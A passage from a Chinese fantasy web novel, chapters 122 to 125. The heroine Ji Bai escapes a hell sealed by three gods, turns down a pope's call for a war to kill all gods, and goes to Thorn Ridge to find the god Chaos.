不知是不是凑巧,赫瑞特一边和他们说着话,一边正巧走到了季白面前帮她挡住了风。 季白没多想连忙借着这个机会,快速移动至泊里的身后。 他如小山般的身躯伫立在季白面前,无论外面的风声如何鬼哭狼嚎,季白在他的身后都感受不到一丝风力。 泊里召来风后就闭上眼竭力感知着季白的存在,然而季白刚刚那如同灵光乍现般的气息又彻底沉入了死水中好似从未出现过。 难道是风不够大? 泊里这么想着就又把风力提高了几个等级,本就有摧枯拉朽之势的狂风越发狂暴,就连涅塞斯都被吹得有几分不适了,然而还是没有季白的下落。 泊里哪里知晓季白就躲在他的身后,就算他唤来能将大地吹翻的风季白也安安稳稳地躲在他的身后,除非他自己先被自己召来的风吹跑了。 涅塞斯忍无可忍:“泊里,够了,你这样刮风是找不到小白的。” 泊里闻言抬手止住了风,涅塞斯理了理发丝,温声道:“不着急,泊里,我们已经将地狱全部封锁了,就算一时找不到小白的下落,她也绝不会从这儿逃出去。” 泊里正要出言答复,却见一旁沉默不语的赫瑞特突然动了,涅塞斯与泊里见状赶忙去追。 霎那间,季白的身边再次恢复了寂静,她一刻也不敢停留,连忙离开了这儿。 她抬眸望着看不见尽头的前路,一时间有几分难言的无力与挫败。 这片花海长的看不见头,她真的能走得出去吗? 季白想到她刚刚听见的话,心情又沉重了几分,涅塞斯刚刚用的词是我们,说明整座地狱都被他们三神的神力所包裹,以她现在的实力是压根不可能突破的。 季白停下了脚步,往地上一躺,脑海中有了一个异想天开的想法。 她在地狱里修炼一年能不能赶上他们的实力? 可转瞬之间季白就忍不住笑了起来,天还没黑,她就忍不住做起梦了。 季白嘴上这么说着,可身体却动了起来,她把自己取得的道具都一一拿了出来摆在自己的面前。 当初永恒之冠里藏有她的力量,那么这些东西里也一定有能帮助提升她实力的东西。 之前的铠甲和海洋之心她都已经研究过了,因而并没有太在意它们,而是拿起刚刚获得的魔偶。 魔偶的样子狰狞又恐怖,那双没有瞳孔的眼睛直看得人心里发麻,仿佛它下一刻就会活过来一口咬在季白的手上一样。 季白将它翻转过去,仔细检查魔偶身上的每一处,她正看得入神时,忽而小拇指传来一阵刺痛。 她低头一看就见魔偶张开了嘴巴重重咬上她的手指,尖利而又细小的牙齿嵌入肉里,流出鲜红的血。 季白正要伸手去掰开它的嘴,魔偶的肚子却突然裂开喷了季白一身的血,咬着她手指的嘴巴也突然松开了,同时头也“嘎巴”一声断了,滚落在季白的脚边。 季白看得一头雾水,不明白魔偶为何会突然咬她,又为何会突然自己炸开。 季白先前在医院无聊的时候也看过电视,一般仙侠剧里厉害的法器都需要主角滴血认亲,难道是因为魔偶需要她的血? 可怎么喝了她的血反而炸了,而且从来都只有主角追着神器滴血的,还从来没有见过神器追着主角要血的。 季白一面思索着魔偶的古怪,一面清理着身上的血迹,忽而她的指尖触碰到*了一个坚硬的物件。 她擦了擦拿起一看是一颗闪闪发亮的绿宝石,这难道是……魔偶的力量来源? 季白正猜测着呢。 忽而,只见绿光一闪,季白的脑海中莫名多出了一段奇怪的法诀。 季白仔细诵读了一遍后,发现这竟是修炼的秘法,甚至这门秘法她越看越熟。 她并没有刻意地去练,身体就跟着秘法上的步骤开始演练了,季白清楚地感知到体内为数不多的神力在秘法的帮助下如同滚雪球般越来越多,一股熟悉的强大力量充盈着季白的身体。 一旦陷入修炼,就变得不知岁月漫长,等季白再次清醒时,竟有一种时光停滞之感。 幸好她还有任务栏,里面清楚地记录着她在这个副本里的剩余时间,她点开一看吓了一大跳,距离任务结束只有一个月了…… 她记得她刚从赫瑞特那儿逃走时,还剩下三年多的时间,这一晃的功夫,竟然三年都过去了 三年多的时间她不吃不喝,可身体却没有半分的不适,季白估摸着自己的身体至少也该进入半神的状态了,从前感知不到的东西无比清晰地出现在她眼前,她甚至能感知到泊里,赫瑞特,以及涅塞斯他们的存在,也能感受到他们所设下的天罗地网。 这三年里他们从未放弃过找她。 季白如今的实力虽然有所增进,但还不是泊里他们的对手。 若她强闯结界,不仅成功的机会少得可怜,而且……还极有可能会被他们发现踪迹。 正当季白踌躇时,突然感受到任务背包里的海洋之心不断闪烁着,她立即把海洋之心从空间里取了出来,就见一缕青烟从海洋之心中冒了出来,而后形成了一道虚影。 季白定睛一瞧,竟是位老熟人。 “我可以帮你躲过他们的视线,离开地狱。” “你为什么要帮我。” “想知道吗?我在神殿等你。” 季白皱了皱眉,神殿是泊里的地盘,她并不想去。 可那人却没给她拒绝的机会,只自顾自地说。 “去天冥河,天冥河的河水会助你穿过他们的结界,而不被发现。” 一阵风一吹,本就缥缈的虚影顿时被吹散了,季白顿时慌了神,连忙追问。 “天冥河?天冥河在哪?” 虚影消散在她眼前,但空气中还残留着他苍老又雄厚的声音。 “一路向西,你会看见一条黑色的大河,那就是天冥河。” 122 第122章 眼前的大河波涛汹涌,河水的颜色如墨般深,水浪翻涌间依稀可见在河里不断挣扎的灵魂。 这条河怎么看都危险万分,她真的能通过这条河离开地狱吗? 她低着头观察了好一会,最后还是一咬牙跳了下去。 幸好她有之前在海底生活的经验,这里的河水虽然湍急,但她还能应付。 她闭着眼任由河水带领着她的身体飘向远方,耳边是其他灵魂们的嘶吼声与激荡的水浪声。 不知在河里飘了多久,季白的耳边竟然传来一声久违的鸟啼,她蓦地睁开眼就瞧见岸边的风景已然变了。 永远血红的天变得无比湛蓝,黑色的岩石变成了绿色的土地,就连如墨深的河水颜色也变成阴郁的深绿色。 季白压抑许久的心情顿时得以释放,她想也不想就要从河水里爬出来,结果却被河里的灵魂抓住了脚腕,它们面目狰狞地看着她,似乎是不想让她离开。 季白微微皱了皱眉,这一路上这些灵魂虽然没一刻安分的时候,但大多数时候也只是在一旁鬼哭狼嚎并未伤害过她,可没想到她要走了,这些灵魂又开始不安分地搞事了。 季白不知道的是,那些灵魂不是不想伤害她,而是伤不了她。 若是一位普通人掉入天冥河,那些让季白感到厌烦的鬼哭狼嚎声早就要了他们的命。 季白冷声喝道:“放开我,若再不松手,我就不客气了。” 可那些灵魂就像没有意识的怪物一样,除了呼喊就是凭借着本能拉扯着季白。 季白见状也不留情,抬手就朝它们攻去,季白自认自己收着劲,结果却没想到不止整条河的灵魂被涤清,就连河道都被她炸宽了一大半,激出的水流将她浇了个透心凉。 她不可置信地看着眼前的杰作,她能感受到自己的实力变强了,却没想到竟变得这么强,只是随手的一击就有这么大的能量吗? 季白用神力将湿透的衣服烘干,不做留恋地转身离开这儿。 虽说那人让她出地狱后就去神殿找他,但眼下季白还有一件更重要的事。 她闭眼默念空间法咒,转瞬之间,季白就再次来到海底的珊瑚丛。 上一次,她想要治愈魔龙身上的伤,却苦于实力不足而没有成功,她答应过魔龙等实力强大一定会回来救它。 季白把头顶的帽子取了下来,在珊瑚丛中大喊:“小青龙,小青龙,你在吗?” 季白喊了没一会,就感受到水波有着异样的流动。 她转身一看,果然就瞧见它从珊瑚后游了出来,不知是不是季白的错觉,它的身体看起来好像小了很多。 魔龙游到她的面前停下,那双如铜铃大的眼睛布满血丝,若是再认真盯上一会,就能看见在它眼中游弋的黑色小虫。 若是从前,季白只会觉得它可怕,可如今她对它只有无尽的怜悯与心疼,她还记得它曾经漂亮又威风的模样。 魔龙的神色肉眼可见得变得兴奋起来,尾巴一直摇啊摇的,眼睛上下打量了她一番后,兴奋地说:“你变强了。” “你终于变强了。” “我就知道,你一定会回来。” 季白觉得它的最后一句话并不是单单指她之前的承诺。 季白冲它弯眸笑了笑。 “是,一别三年多,我们终于再相见了,这一次我一定可以救你。” 魔龙闻言乖乖游到季白面前,低下了它巨大的头颅。 季白将手放在魔龙的头上,再次施展治愈魔法,魔龙腐烂的身体被圣洁而又磅礴的绿光所笼罩。 旧的腐肉一层层脱落,就连陈旧的骨头也以极快的速度从内生长出一幅全新的骨架。 绿光渐退,曾经腐烂的魔龙已然焕然一新,季白睁眼一瞧,和她记忆中的小青龙一模一样。 季白开心地摸了摸它的头,“我没有骗你吧,我说过我能帮你。” 小青龙亲昵地蹭了蹭她的手,身型也以一种极快的速度缩成一个手镯的大小。 它熟练地盘在季白的手腕上,眼睛亮晶晶地盯着季白说:“嗯,我知道总有一天你会来救我。” “主人,我终于等到你了。” 季白并不惊讶于魔龙会叫她主人,从之前那些短暂的记忆来看,她和魔龙定是关系匪浅。 它是她从一颗蛋的时候亲自照顾着长大的,与其称他们为主仆,不如说是亲密无间的伙伴。 季白摸了摸小青龙的小脑袋,轻声说:“我不是你的主人,你也已经自由了。” “我带你离开这儿,你以后想去哪里都可以。” 季白话落再次动用空间法咒,转瞬间就从海底来到了神殿附近的林间。 “你走吧。”季白说,“以后小心些,别再被别人抓住了。” 小青龙的眼中涌出泪花,“主人……你不要我了?” 季白别过头去,说:“我不是你的主人,你认错人了。” 季白清楚地知道,她只是副本中的一个过客,她并不想和副本中其他无辜的人建立亲密关系,她总有一天会离开的。 小青龙定定看着季白偏过去的侧脸,是它最熟悉的轮廓,是它最熟悉的味道,甚至神情都一模一样。 她明明就是它的主人。 小青龙看了许久,季白也没有回头看它一眼,它明白了主人的意思,缓缓从主人的手腕上退了下来,但尾巴还是不舍地轻轻磨蹭她的肌肤。 “我知道了。”小青龙失落地说,“我这就离开,不会缠着你。” 它先前是腐败的魔龙时声音沧桑而厚重,变成小青龙后声音却奶声奶气,让人听了就忍不住心软。 小青龙说完又用脑袋顶了顶季白的手,季白垂眸看去,就见它耷拉着脑袋说:“我有一个东西给你。” 它说完,一张嘴就吐出一个绿色的珠子。 季白一看这颜色就觉得这东西同它有关,果不其然,这珠子很快就在它的掌心化为一道绿光融入了她的骨血中。 她顷刻间就感受到一股极为强大的力量充盈在她的体内,如果说季白之前还确定自己不能打过涅塞斯他们,那么现在的她就有一战之力了。 季白正想要抬头谢谢小青龙,却早已不见小青龙的身影。 她垂下眼眸对着树林道了声谢,就朝神殿走去。 路上,她没有再次使用空间法咒,而是一步一步地走过去。 她需要好好想一想,下一步该如何做。 关于查奥斯的那一栏任务还没有解锁,她连现在需要做什么都不知道。 季白把任务栏打开又关闭,反复点击着查奥斯的任务栏试图获得些许提示,然而什么也没有。 无奈之下,季白只能再次呼唤系统,可无论她怎么叫,系统都不回应她。 季白憋了一肚子气,走进神殿时正好又看见了泊里的神像,忍不住抬腿踹了一脚。 如今她力气惊人,只是一脚就把泊里的神像踹倒了。 这边的响动立刻引来众多神殿人员,他们将她团团围住,看架势是要立刻捉拿她问罪了。 下一刻,背后却传来一道沉稳的声音。 “退下。” 季白回头一看就瞧见穿着红袍的教皇,三年多过去了,可他的模样和季白上一次见他时的样子并没有多少变化。 “教皇大人,此人刚刚损毁了光明神的神像,对光明神毫无敬畏之心,该处她以极刑!” 季白微微皱了皱眉,光明神殿的作风还真是一如既往,一上来就是这般残酷的处置。 物是死的,人是活的,就算损毁了东西也犯不着用这么残酷的刑罚要人的性命吧? “我知道。”教皇淡淡说,“我有话同她说,你们先下去。” 教皇在神殿拥有说一不二的地位,因而众人听他这么说,也纷纷退了下去。 他们走后,教皇领着她去了一间封闭的屋子,屋子里竟还坐了一位熟人。 季白忍不住微微挑了挑眉,侧眸看向教皇,不明白他们这是何意。 季白自打第一次见到教皇时,就觉此人不简单,后来的每一次接触都印证了她的想法。 季白垂下眼帘思考着教皇邀她前来的用意,是看出她和泊里他们有仇,所以想借她的手夺取神明之力吗? “你知道你是谁吗?” 季白诧异地看了教皇一眼,没想到这神棍竟会先以这句话开场,她倒要看看他葫芦里到底卖什么药。 “我是季白。” “季白只是你的名字,它……” 季白莫名觉得这话有点耳熟,连忙出手打断了他的后续,直截了当地问:“我的时间很宝贵,你想说什么请直言,若不说我就走了。” 教皇微微一笑。 “走到今天你也该察觉到自己的身份不一般,你曾是一位无比强大的神明,其实力不亚于光明神,可后来……却死于众神之手,你知道为什么吗?” “众神之手?”季白回想起之前的梦,又回想起涅塞斯他们的谈话。 她轻笑一声,道:“是你信仰的光明神联合其他神明害了我。” “非也。”教皇否定了季白的回答,“这件事与光明神无关,是你曾经做了一件触怒众神的事。” 触怒众神的事? 这还是季白第一次接触这个说法,她警惕地盯着教皇,心中暗想,这老头不会是诓她的吧? 此时,一直未曾开口的人却突然跪倒在季白面前,满脸是泪地说:“圣主,我等终于等到你了。” 123 第123章 圣主? 季白一听这称呼就觉得不像是好事。 一般只有反派才会用这种听起来很厉害的称呼。 她这次副本里的前世该不会是什么反派吧? “什么圣主?”季白诧异地挑眉,“你在胡说什么?” 艾莉丝用无比虔诚的眼神看着她,狂热到和光明神殿那帮无比狂热的信徒看光明神的眼神一模一样。 季白被她盯得直发毛,连忙移开视线看向教皇。 “你给她灌了什么迷魂汤,让她陪你演这场戏?我记得她好歹也是利亚王国的公主,你这么耍弄她,就不怕利亚国王找你的麻烦吗?” 教皇浅笑,“找我的麻烦?你问问艾莉丝,她的父亲敢吗?” “再强大的帝国国王也不过是神明的一条狗。” 季白皱了皱眉,先抬手用神力扶起艾莉丝,而后问:“你到底想让我做什么?” 教皇还没回答季白的问题,艾莉丝却先说话了。 “圣主,没有任何人胁迫我,一切都是我自愿的,您可能已经忘了,但您留下的教义与宣言却从未被堙灭,自你在万年前陨落后,我等就一直在暗中蛰伏等待着您的再次归来,如今我们终于等到您了,圣主,万年前未竟的事如今该做个了断了。” 季白认真瞧着她,如今她实力大涨,自然也能分辨一个凡人究竟是真心还是假意,至少可以看出她的身上并没有奇怪的迷魂类魔咒。 她是认真的。 季白想到泊里他们做为神明都有属于自己的信徒,那么曾经身为神明的她应该也有追随她的信徒。 只是没想到做为神明的她都消失万年了,居然还有人类信她。 季白本不想管这件闲事,可她想到当初在涅塞斯那儿救下她的“尸体”。 她消散前所言的遗志,不会就是艾莉丝口中的未竟之事吧? “当初在学院你就已经认出我了,所以会出手帮我?”季白问道,“未竟之事又是何事?” 艾莉丝一字一顿地说:“尽诛天下神明。” 季白愣住了。 尽诛天下神明? 她没听错吧,原主自己不也是神明吗?她为什么要尽诛天下神明? 季白捻了捻指尖,转头看向教皇,直接了当地问:“你们想与我合作,打败泊里等人夺取他们的力量吗?” 天地间的力量是有定数的,神明得到的多,凡人自然就得少,是以,凡人之躯就算修至顶峰,也无长生者,至多活至二百年,可神明的力量却是无穷无尽的,哪怕只是一点点也足以延长普通人类的寿数。 教皇的权势在人间已至顶峰,就算是国王见了他也得毕恭毕敬,他唯一所缺的就是寿数了。 “你今年多少岁?” “一百八十九岁。” “你快死了。” 一旁的艾莉丝蓦地瞪大了眼,不愧是曾经的自然之神,说话就是直接。 “你想利用我帮你夺得泊里的神力好助你长生不老吗?” 季白如此冒犯的话语会让世间任何人都感到不适,可教皇却只是淡然一笑。 “我死不死不重要。” 季白微微挑了下眉,虽未发一言,可眼中的笑意却摆明了不相信他。 “没有神明对我们很重要。” “你们?” “你不会以为只有我们两个人就敢和无所不能的神明作对吧?”教皇说到这儿,脸上罕见地流露出一抹属于人的情绪,“无所不能?呵,神明也终有一死,神明也有求之不得,既然如此,他们又凭什么凌驾在我等之上?” “按你们的说法,我也曾是神明。”季白调整了下姿势重新发问,“你们凭什么认为我会帮你们屠杀神明呢?” 教皇与艾莉丝知道的东西显然比她更多,或许她能从他们这儿得到一些有用的线索。 教皇与艾莉丝一同看向季白,可他们的眼神却不相同,教皇的眼神平静中夹杂着几分兴奋。 “这场战争本就是你发起的。” 教皇话落抬手给季白看了一段远古的回忆,在神明璀璨的时代,这片土地大大小小的神明足有上百个。 他们肆意妄为,视人类为猪狗,心情好时下点雨赐点食物,人类就会对他们感恩戴德的跪谢,心情不好时就创造灾祸,引发战争。 他们中有人会降临凡尘引诱人间女子,一夜风流后就不管不顾地离开,全然不管人间女子在他们离去后的死活,生下来的孩子也会被他们视为耻辱,或是摔死,或是无视,或是给予无尽的折磨。 最黑暗的时期则是神明们发生战争的时候,此时再没有神顾得上人类的死活,一场遥远的战争顷刻间就会毁掉一整座城池,为了祈求平安人类不得不四处寻找和善的神明跪拜,可哪有这样的神明呢。 善良的神明看似会帮助他们,可心里也从未瞧得起他们,一旦出现变故,他们永远都是被放弃,被牺牲的一方,嘴上还会用无比正义的大义压着他们,好似他们的死是无上光荣。 神明的存在带来的不是安宁与祥乐,而是永无止境的灾难与祸害,哪怕暂时可以获得一时的平静,云层之上的强大神明们也如同悬在他们头顶不知何时会降落的达摩克利斯之剑,让他们终日惶惶不安。 故事一般到了这里就会有一位英雄似得人物带领着大家英勇反抗残暴无情的恶神们,这里自然也有,季白在回忆中看见了自己的身影。 浅绿色的长发随风舞动,身材高挑而强壮,紧绷的肌肉线条与褐色肌肤带来野性而又有冲击力的力量感。 除了那张脸和季白一模一样外,其余地方简直和她是两个人。 这个副本里曾经的她是这样强大而又野性的女人吗? 她的身材是季白看过最强壮的人,哪怕是泊里也比不上她。 这真的是她? 季白实在不敢相信,她从海神之心中看到的回忆,曾经的自己虽然和现在的她有很大的差别,那人虽然也很强大,但绝没有教皇给她看得这般强壮如山。 到底哪一个是真实的她?季白有些弄不清了? 回忆仍在继续,她看着她带领着一帮有识之士开始了屠杀恶神的行动,如山般的身躯穿着金光闪闪的铠甲勾勒出她强壮且性感的身材,手中那口大刀砍下了一个又一个神明的头颅。 季白愣愣地看着回忆里的她,在她印象里女性无论如何强壮也总是比男子差一截,可画面里的她却完全不会给人这样的感觉,她就是一位战士,一位力拔千斤,以一挡百的强大战士,力量感扑面而来,她手中的大刀可以碾平世间所有的一切。 故事很快来到结尾,她败了。 众神设下陷阱将她引至荆棘岭合力绞杀,在杀阵与四十二位神明的合力下,她死了。 但这一败也败得畅快,来围剿她的神明共有四十二位,活着离开的不过三位,其中两位已被打成重伤。 季白莫名地勾唇笑了笑,一条命换三十九命,一点也不亏。 在这段古老的回忆中,季白注意到泊里他们三人出现的次数少得可怜,仿佛他们三人只是她璀璨生命中最不值一提的事。 回忆最终停留在她永远地沉睡在荆棘岭。 “圣主……”角落里传来艾莉丝的小声啜泣,季白转过头看向她,三年过去,当初这朵艳丽的玫瑰花越发美丽了,可并不会让人觉得她娇弱可欺,眉宇间锐利的气势如玫瑰花的尖刺般扎手。 圣主…… 听起来还真像一个反派。 季白看着回忆里她的尸体被众神绞成碎片,就连灵魂也没有放过。 或许不是像一个反派,而是就是一个反派。 毕竟她输了,赢了是主角,输了就是主角路上的绊脚石。 季白垂下眼帘,如果教皇打算用曾经的事逼她出手,他就想错了,曾经的事确实很悲惨,可很奇怪,她并没有太大的触动。 事情都已经过去了,当初围攻她的神明也早已死了,她要因为一段古老的回忆再次发动所谓的复仇战争吗? 她做完任务后就会离开,不想把这里搞得一塌糊涂后拍拍屁股走人。 教皇转过脸看着季白,那双饱经沧桑的眼睛里映着她的脸,眼底是如火般的兴奋。 “圣主,如今天下只剩下三位神明,只要杀了他们,我们的大业就成了,从此以后,这片大陆的人类将再也不会受神明所胁。” 三位神明?季白摸了摸指尖,教皇难道不知道查奥斯也是神明吗? 季白想到那至今没有解锁的任务栏,推测会不会和查奥斯的神明之名不为人所知有关? 毕竟哪怕是最不为人所知的涅塞斯在人间也是有信徒的,至少……大家都知道有海神。 而查奥斯……好像完全被人类遗忘了。 季白心里想着另一件事,可面上却丝毫看不出来。 “如果你们要天下太平,要人类不受神明侵扰,那么现在不是已经做到了吗?” “据我所知光明神性格……仁慈和善,从不插手人间事务,黑暗神虽性格顽劣,但这么多年也甚少在人间出没,更不会残害人类,至于海神就更是行踪难觅了。” “他们的存在与消失又有何区别?你们若是还要赶尽杀绝定然会造成更大的伤亡。” 教皇蓦地站了起来,那张苍老的脸因兴奋泛着红光。 “一时的伤亡是为了永久的安宁。” “只有彻底消灭神明,人类才有站起来的可能。” 季白皱了皱眉,“抱歉,你们的请求我不会答应。” 季白说完起身就要离开这儿,在她推门之时,身后的教皇却叫住了她。 “他们那般对你,难道你一点都不想报仇吗,你就这般能忍吗,还是说你已经爱上了他们?” 季白回眸看了教皇一眼并没有回答他的问题,转身就离开了这儿。 在她离开神殿的那一刻,任务栏突然闪了一下,属于查奥斯的任务竟然解锁了! 124 第124章 季白点开一瞧,就瞧见查奥斯的名字后只跟着一句话——帮助查奥斯恢复清醒。 季白想到查奥斯那副不太正常的模样,她先前一直以为查奥斯是装出来的,没想到他是真傻啊。 只不过季白如今连查奥斯在哪都不知道,最后一次见他是在奥斯俐学院。 季白想到这儿正要动用空间法咒往奥斯俐学院去,艾莉丝却突然追了出来,拽住季白的袍角。 “您真的要抛弃我们吗?” “您真的和教皇所说的那般爱上他们了吗?” 季白回眸看了她一眼,拂开她抓着自己衣裳的手,“艾莉丝,如果你们真的想要实现尽诛神明,人类自强的愿望,就不该把希望放在我的身上。” “你们依附我,与当初依附他们又有何不同?” 季白念着艾莉丝帮过她,言语间也多了几分耐心。 若是换做旁人,季白定是不理。 “可您当初明明说过蝇附骥尾而行千里,弱者依附强者实现抱负与理想有何不可?” 季白微微挑了挑眉,有些不可思议在一个西幻副本中她会听见曾经的她说出东方文明中的古话,就像当初在海底看见腐朽的小青龙时一样震惊。 季白心中生出了一个不可思议的想法。 难道……难道这个副本中的她也拥有过去的记忆吗,或者说她并非一开始就诞生在这儿? “松柏之下,其草不殖。”季白说,“一个人依附强者尚危,何况一个族群?” “你们若想摆脱神明的控制就从现在开始吧。” 季白说完这句话也不待艾莉丝作何反应,就施咒离开了这儿。 她并不想参与他们的争斗,他们嘴上说得大义,可未必就是正确的。 艾莉丝是皇室公主,她的父亲做为国王本该享有最大的权利,可他的头顶却还压着神明,就连他的王位都要神殿说了算,长此以往他又怎会甘心? 季白赶到奥斯俐学院后并未现身寻找而是立在云层间用神力感知查奥斯的存在,整个奥斯俐学院都在季白的掌控之下,她仔仔细细地找过每一个地方,却始终没有找到查奥斯的踪迹。 这下麻烦了。 任务让她帮助查奥斯,可她现在连查奥斯的人都找不到。 与此同时的另一边,涅塞斯突然睁开眼睛看向一旁的泊里,轻声说:“找到她了。” 一旁闲着无事逗小狗的赫瑞特手上的动作停了停,朝涅塞斯看去。 他们三人自从在地狱没有找到季白的踪迹后,就相约来到了万年前众神一起生活过的尤克树,在尤克树的顶端还残留着当时辉煌而又灿烂的宫殿。 在这里任何人也没有主场优势,最重要的是主殿的法阵可以适当克制神明的力量。 这是当时的众神之父所定下的阵法为的就是防止神明们内斗,神明的一切纠纷都要在这里交由众神之父解决。 不过说是众神之父,实则他也只不过是从尤克树中诞生的第一位神明罢了,并不是真的父亲,因为他出生的时间最早所以后来出生的神明都由他照顾长大,因而众神为表尊敬就尊称他为父亲。 神明之间最初的和谐可以说有一大半全是他的功劳,只不过……随着众神之父的意识归于混沌后,神界无人能接受他的位置就逐渐陷入了混乱。 各神明割据为王,自由散漫,也常常因一点小事就大打出手。 “在哪?”泊里问。 赫瑞特也丢下面前的小狗走到涅塞斯面前,挑眉问:“你怎么找到的人?” 涅塞斯看了赫瑞特一眼,垂下眼帘不语。 他并未完全信任赫瑞特,他总觉得当初在地狱时赫瑞特有意放走季白。 “我还不知道她在哪。”涅塞斯说,“但我知道她要去哪。” 赫瑞特的眸光闪了闪,追问:“去哪?” 涅塞斯没有回答他,而是反问:“赫瑞特,你真的想好了吗?你要知道,我们这次若是失败,就再也见不到小白了。” “你这话是什么意思?”赫瑞特挑眉冷笑,“怀疑我?” 涅塞斯这次没有再回避这个问题,而是直截了当地指出,“上次在地狱是你有意放走了季白。” 赫瑞特还没回答,最先出声的反而是泊里。 “不可能!” 涅塞斯微微皱了皱眉,转过头看向泊里,只见泊里面色冷肃地又说了一遍,“他怎么可能会主动放走小白?涅塞斯,你太高估他了。” 赫瑞特扬眸笑了笑,“涅塞斯,枉你我同盟那么多年,竟还没有泊里了解我,果然,最了解你的人只能是你的对手。” 涅塞斯并没有搭理赫瑞特,而是审视着泊里,不明白他为何会帮赫瑞特说话。 可很快,涅塞斯就想明白了其中的关窍。 泊里是光明神,一直以宽容,仁慈的形象示众,也同样以这套准则要求自己。 在神明璀璨的时期,他是少有的从不逾距,从不乱杀,从不放浪的神明,相反,他对人类抱有同情,教他们耕种,教他们织布以及基本的道理。 他自认自己是一个代表光明的善神,可这样的神明却为了一己之私以卑劣的手段留下一个人。 他不像涅塞斯,只在乎自己想要的,也不像赫瑞特做事全凭心意,从来没有什么道德。 他知道什么是对,什么是错,他清楚的知道他不该强求,可他却做不到。 可赫瑞特……一直让他瞧不起的赫瑞特竟做到了他做不到的事情,这让他如何甘心呢? 涅塞斯长呼了一口气,若非单他一人恐无法与那世外之人的力量相抗衡,他早就想甩了他们独自行动了。 “泊里。”涅塞斯说,“我不管你如何想,我只要你做到一点,必须看好赫瑞特,否则……” 涅塞斯笑了笑,“我们现在就各自回各自的神殿等死吧。” 泊里也知晓此事的严重性,若他们再失败,季白就真的要永远离开了。 他平静地点了下头,道:“放心,吾定会看好赫瑞特。” 赫瑞特撇了撇嘴,道:“行了,别故作玄虚了,告诉我们小白到底要去哪?” “她会去找查奥斯。” “找查奥斯?”赫瑞特挑了挑眉,“难怪当初一来这儿,你就迫不及待地让我去找查奥斯的下落,就是为了今天吧?” 当日涅塞斯让赫瑞特去找查奥斯的下落时,赫瑞特在外转了一圈也没找到,后来还是泊里无意间在尤克树下发现了查奥斯的踪迹。 他们并不敢刺激查奥斯太过,因而只是暂时将他囚禁在了地宫里,哪怕查奥斯现在神志不清,也绝不是一位好对付的神明,泊里先是用神力在外罩了一层结界,赫瑞特又专门布下了幻阵迷惑查奥斯的心智,他们方勉强将其留下。 涅塞斯平静地说:“她找查奥斯和当初找我们的理由是一样的,可惜查奥斯现在神智不清,不然也能成为我们的助力之一。” “现在只能用他当做诱饵诱季白出现了。” “诱饵?”赫瑞特挑眉问,“打算把他丢到哪里,我去丢。” “荆棘岭。” 这个地名一出,赫瑞特与泊里俱是脸色一变。 泊里:“在这里……是不是过于残忍了?” “你们还有比这儿更好的选择吗?” 季白在奥斯俐学院没找到查奥斯后,就随意找了朵云彩跟着它飘,她一边注视着地面的情况,一边疯狂点击着任务栏的地图,盼望着系统能再次显示一次男主们的位置。 【系统,系统。】 【我现在就差查奥斯的任务了,可我连他人在哪里都不知道。】 【你能不能告诉我查奥斯的位置?】 系统仍然没有任何回应,季白有些恼火了,重重用拳头砸向面前的任务栏,喝问。 【系统,你还不出来吗?打算一直装死?】 只见眼前的任务栏闪了闪,下一刻,地图上就多出了一个红色的小点,季白放大一看,就发现停留的地方上写着三个大字——荆棘岭。 季白心头一跳,本能地传来一种不安的感觉。 她这个副本里的上一世就是死在了荆棘岭…… 如今她最后要去的地方也在荆棘岭,是巧合吗还是陷阱? 地图似是有意回答季白心中的疑问一样,原本黑色的大字闪动了几下,下一刻,就见黑色的字体变成*了血红色。 是陷阱吗? 可是不去她的任务就完不成了,去则会有一定的风险。 查奥斯从浑浑噩噩的梦镜中苏醒,呈于眼前的不再是冰冷的石板幽暗的密室,而是湛蓝的天与翠绿的浓荫。 查奥斯晃了晃脑袋,眼中满是迷茫,这里又是哪里,他为什么会出现在这儿? 他挣扎着想要起来,可鼻尖又传来阵阵浓郁的花香,他的身子蓦地一软,又跌了回去。 他直愣愣地看着眼前的天空,他走又是想走去哪里呢? 他没有要去的地方,这里很舒服,不如就一直躺在这儿。 等等,他……他好像有一件必须要做的事,是什么事呢? 他想不起来了。 查奥斯重重拍了拍脑袋,疼得他龇牙咧嘴,下一刻,他的眼睛却亮了。 姐姐,他要去找姐姐。 可是姐姐在哪呢? 查奥斯的目光再次灰暗下来,他找不到姐姐,他不知道姐姐在哪。 圆圆的眼中蕴起水汽,就连眼眶都变得有些红了,使本就可爱呆萌的他看起来越发楚楚可怜,让人忍不住想要把他抱在怀里细心安抚。 一旁的泊里遥遥望着查奥斯眼中是一闪而过的悲悯。 谁能想到当初统御众神的众神之父会沦为一个诸事不晓的疯子,傻子。 泊里转头看向涅塞斯,问: “涅塞斯,小白会来吗?” 【作者有话说】 蝇附骥尾而行千里——最早记载见于《史记伯夷列传》。 松柏之下,其草不殖——出自《左传》。 125 第125章 季白戴着隐形帽子站在荆棘岭的上空,她的视线穿过云层,树林精准无误地落在躺在地上的查奥斯身上,甚至能清楚地看见他通红的眼眶与雾蒙蒙的眼睛。 他的情绪很诡异,他哭一会脸上的神色又会变得茫然,好似不明白自己为什么会哭,也不明白自己为什么在这儿一样。 季白轻叹了一声,一个神志不清的神明要如何帮助他恢复神智? 下面的一切都无疑是一个陷阱。 季白已经察觉到了泊里他们就在附近,只要她出现在查奥斯面前,他们定会一拥而上将她拿下。 季白想了半晌,决定还是赌一赌。 查奥斯在他们的手上,自己总归是绕不过他们,何况她的时间也不多了。 如今她今非昔比,就算迎面碰上他们,她也未必会输。 季白这么想着,身子就化为了一道流光快速朝查奥斯的方向奔了过去。 “查奥斯,查奥斯,你能听见我说话吗?” “我是季白,这里不安全,你先跟着我离开这儿。” 季白的头上仍然戴着隐形帽子,因而哪怕季白就在查奥斯的面前抓住了他的手,他也一无所知。 季白抓着查奥斯的手微微用了用力,这一次她用上了神力单独呼唤他。 “查奥斯,你能听见吗?是我。” 查奥斯红通通的眼睛顿时瞪圆了。 “风,风在说话了。” 季白微微皱了皱眉,不知为何,她总觉得这一次的查奥斯看起来好像比之前还要痴傻。 该不会是涅塞斯他们对他做了什么吧? “查奥斯,你跟我走。”季白又重复了一遍,“站起来朝东走,我们一起离开这儿。” 查奥斯眨了眨眼,问:“是姐姐吗?” “是我。” 在暗处隐藏的涅塞斯唇角微微扬了扬。 “她来了。” 泊里的目光死死盯着查奥斯身旁的位置,他看不见她,但他知道她就在那儿! 他们在说什么? 她是不是像当初哄骗他那样,对着查奥斯温声软语地说着好听的话? 他什么也看不见,可看不见反而生出了无限的遐想,他的眼前浮现出一幕又一幕季白与旁人亲密的画面,心口又闷又涩,堵得难受,又像是当初季白剥开他胸膛时的那样疼。 